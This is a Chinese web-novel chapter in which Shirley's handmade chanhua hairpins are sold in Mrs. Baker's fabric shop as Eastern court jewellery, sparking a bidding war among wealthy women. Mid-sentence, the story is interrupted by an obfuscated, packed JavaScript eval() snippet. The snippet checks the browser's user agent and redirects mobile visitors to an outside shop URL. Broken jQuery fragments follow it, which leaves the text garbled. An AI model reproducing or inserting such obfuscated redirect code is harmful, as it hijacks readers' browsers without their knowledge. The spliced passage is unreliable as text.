“那就这么定了。”
为了做这套缠花,雪莉累惨了,到现在手指还有些疼。
前世她所在的国家汉服非常风靡,导致做这个的人特别多,手工几乎不要钱。
除了一些做得特别好看的卖得上价,那些审美一般的,几乎都是贴钱在做,还卖不出去,已经算是纯爱好了。
但雪莉做缠花就是为了赚钱,那她的手工就必须值老鼻子钱了。
在这里东方缠花还是独一份,只要能卖出去那就不能便宜,她既然打出了东方宫廷的噱头,就没打算做普通人的生意。
因此雪莉也就没有再跟贝克太太客气。
之后她便将这套缠花小心拆下来,放在木制托盘上。
三件一套的缠花整整齐齐地排列在白色的棉布上,因为她用来染线的颜料自带珠光,这会儿花瓣颤巍巍的,还在光线里泛着耀眼的光泽。
美极了。
“贝克太太,能不能打开缠花市场,就拜托您了。”雪莉叮嘱道,“记住,一定要提醒客人,缠花是非常娇贵的首饰。”
“虽然能随意造型,但一定不能暴力拉扯,不能沾水沾油。”
“不佩戴的时候,可以单独存放起来,避免接触空气,这样能防止外露的铜丝氧化,延长使用寿命。”
见雪莉说得这么认真,贝克太太也连忙认真记下。
她看着托盘里的缠花,是越看越喜欢,越看越有信心,贝克太太相信,这样独特美丽的东方饰品一定能轻易捕获那些贵妇小姐的心。
而且现在是社交季的高峰期,经常有人去她的店里买布料做裙子。
她的店虽然不大,但也有不少昂贵的布料,还比其他店的便宜,对于将缠花高价卖出这事,贝克太太比雪莉还有信心。
将缠花交给贝克太太后,雪莉就松懈下来了。
她上了楼,把自己摔进床铺里,两条腿搭在椅子上,双手枕在脑后舒服地喟叹了一声。
接下来,她可以好好休息,摆烂一天了。
明天就去舅妈家看看吧。
虽然她想拉舅妈家一把,但他们实在不愿意的话,她难道还要强迫他们?
她大可以直接给他们一笔钱,回报舅妈家先前收留他们的恩情。
第二天早上。
雪莉跟贝克太太送完孩子,就在学堂门口分了手。
她们一个往左,去蜂蜜巷的店铺,一个往右,往白雀区的方向走。
贝克太太手里挎着篮子,脚步轻快,她的篮子里装着的正是昨天雪莉给她的那套缠花。
她到了店门口,年轻的女店员艾玛已经在等着了。
贝克太太的店铺虽然不大,但一个人也有些忙不过来,她还要回家做饭,于是便雇了个住在隔壁街、手脚勤快的年轻女孩来帮忙。
两人开了店门,打扫了柜台,把布料一匹匹摆好。
然后贝克太太便把篮子放到柜台上。
她揭开上面盖着的棉布,露出了静静躺在木质托盘蓝色绒布上的饰品。
艾玛不经意地转头看了一眼,眼睛就挪不开了。
“太太,这是什么?”
“缠花。”贝克太太把放着三支花的托盘摆在了柜台上最显眼的位置,还调整了一下角度,让晨光正好落在花瓣上。
“这是我意外获得的,东方大陆那边的东方宫廷饰品。”
“在那边,只有贵族才有资格戴这样的饰品。”
“平民佩戴是触犯法律的。”
艾玛惊讶地盯着那一朵朵大小不一,或盛放,或闭合的莲花:“哦,这太美了,难怪只有贵族才能佩戴。”
小姑娘从来没有见过这么美丽的饰品,总是忙活一会儿就忍不住看上一两眼。
她还总是警惕地往门外看。
总感觉这东西就这么摆在柜台上,也许会被人偷走。
这样昂贵、美丽的饰品应该锁在柜子里才对,怎么能就这样摆在外面呢?
上午十点左右,终于有客人进门了。
来人是个30来岁的妇人,她衣着体面,是附近一位商人的妻子。
她一进门就看见了柜台上的缠花,脚步顿了一下,就径直走到缠花面前。
“哦,贝克太太,这是什么?”
贝克太太笑眯眯地放下手里的活计,慢条斯理地戴上手套,这才将其中的莲花步摇拿起来,在来人面前微微晃动。
看着那颤巍巍的花枝,泛着珠光,精致美丽又栩栩如生的花瓣,还有那在阳光下波光粼粼,不住晃动的流苏,妇人的眼眸都仿佛在发光。
“这是缠花,从东方传过来的饰品,在那边,只有贵族才有资格戴。”
“我手里的这支还有个名字,叫清漪照影。”
这四个字贝克太太说的是中文,咬字不是很准确,于是她又解释道:“清漪照影的意思是,荷塘水波映照出莲花的影子。”
妇人忍不住捂住嘴:“好美的名字。”
贝克太太不经意看了看自己柜台上的小抄,又拿起了那最夸张,最美的那一支软簪:“这支的名字是风漪拾露。”
“意思是,风轻轻拂过莲花,花瓣微颤,露珠也被风带走。”
说着她又拿起最后那枝能缠在手腕上的,还给夫人比划了一下:“这支名叫浅涟凝香,意思是……”
妇人震惊的嘴巴都快闭不上了:“天哪,它们的名字居然都是一句句优美的诗。”
她哪里见过这场面?
东方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527645|201931||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的贵族居然会给首饰一样样起这种充满东方诗意的名字,而且每一个名字都那样优美,又那样高贵。
高贵得让她都要忽略流苏上、花瓣上、荷叶上的露珠是仿珍珠了。
如果是真的珍珠,那就更美了。
当然,也会更贵。
妇人蠢蠢欲动,想摸又不敢摸:“这得多少钱,能拆卖吗?”
虽然这么问,可这三支首饰她却每一支都想要。
贝克太太面不改色:“不拆卖,至少15金镑,低于这个价格,我会很为难的。”
这可是整个王国,独一份的东方饰品。
哪能卖得太便宜?
自古以来,我有别人没有的东西,往往都能卖到天价,要不是这三支花的材料过于廉价,上面的宝石都不是真的,她还能卖得更贵。
然而15金镑这个价格对妇人来说已经贵到离谱了。
她在这条街住了七八年,知道贝克太太店里最贵的布料也没到这个价钱。
“很遗憾,如果能拆卖的话,我还能咬牙买上一支。”
她摇了摇头,转身去看布料去了,可目光却还是忍不住直往柜台上飘。
这时,一位容貌娇媚的妇人直接走到了柜台前。
贝克太太向前面那位夫人介绍那东方饰品时,吸引了不少人进店。
这位夫人便是其中之一。
她40出头,穿着一件深紫色的缎面长裙,手指上戴着好几枚宝石戒指,显然不是个差钱的主。
至少比前面那位有钱多了。
“这个我要了。”她直接就从包里拿出了钱袋。
结果贝克太太的嘴角才刚要扬起,还没来得及说话,外面就进来一个年轻女人。
女人穿着一条夸张的浅绿色长裙,裙摆下能躲进去一个成年男人,女人的腰身还勒得极其纤细,帽子上插着长长的白色羽毛。
她显然看见了柜台上的缠花,昂着下巴道:“我要了。”
说着,她便让跟来的小女佣将钱扔在柜台上。
前面的妇人面色一沉:“我先来的。”
“你还没付钱。”年轻女人红唇微勾,“而且,我可以出双倍。”
“双倍?你有那么多钱吗?”妇人说着转向贝克太太,咬牙道,“我出18金镑。”
“20。”年轻女人连眼皮都没抬一下。
妇人盯着年轻女人看了两秒,嘴唇动了动,还是没有继续加价。
她不是拿不出更多的钱,但是用20金镑买一套饰品,已经远远超出了她的心理预期。
但凡上面的珍珠是真的,她都能咬牙买下。
见妇人不舍得加钱,年轻女人正要得意,却在这时,外面又进来一对母女……